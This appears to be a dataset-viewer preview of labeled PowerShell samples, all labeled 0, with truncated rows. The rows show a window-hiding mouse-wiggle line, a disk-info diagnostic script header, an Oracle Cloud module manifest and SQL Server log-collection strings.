## Hide-App -Name PowerShell; Wiggle-Mouse 75 100
##############################################################################... | 0 |
sample_10_86.ps1 | #************************************************
# DC_DiskInfo.ps1
# Version 1.0
# Date: 09-05-2023
# Author: Edmund Spatariu
# Updated:
# Description: This script obtains Disk Info and associate a drive letter with corresponding LUN, saving output to a
# file named $ComputerName_DC_DiskInfo.txt
... | 0 |
sample_42_26.ps1 | #
# Module manifest for module 'OCI.PSModules.Apmcontrolplane'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Apmcontrolplane.dll'
# Version number of this module.
ModuleVersion = '77.0.0'
# Supported P... | 0 |
sample_12_99.ps1 | ConvertFrom-StringData @'
id_sql_collectsqlerrorlogs=SQL Server Errorlogs
id_sql_collectsqlerrorlogsdesc=Collecting SQL Server Errorlogs for instance
id_sql_collectsqlagentlogs=SQL Server Agent Logs
id_sql_collectsqlagentlogsdesc=Collecting SQL Server Agent logs for instance
id_sql_setup_collect_writer_logs=Colle... | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.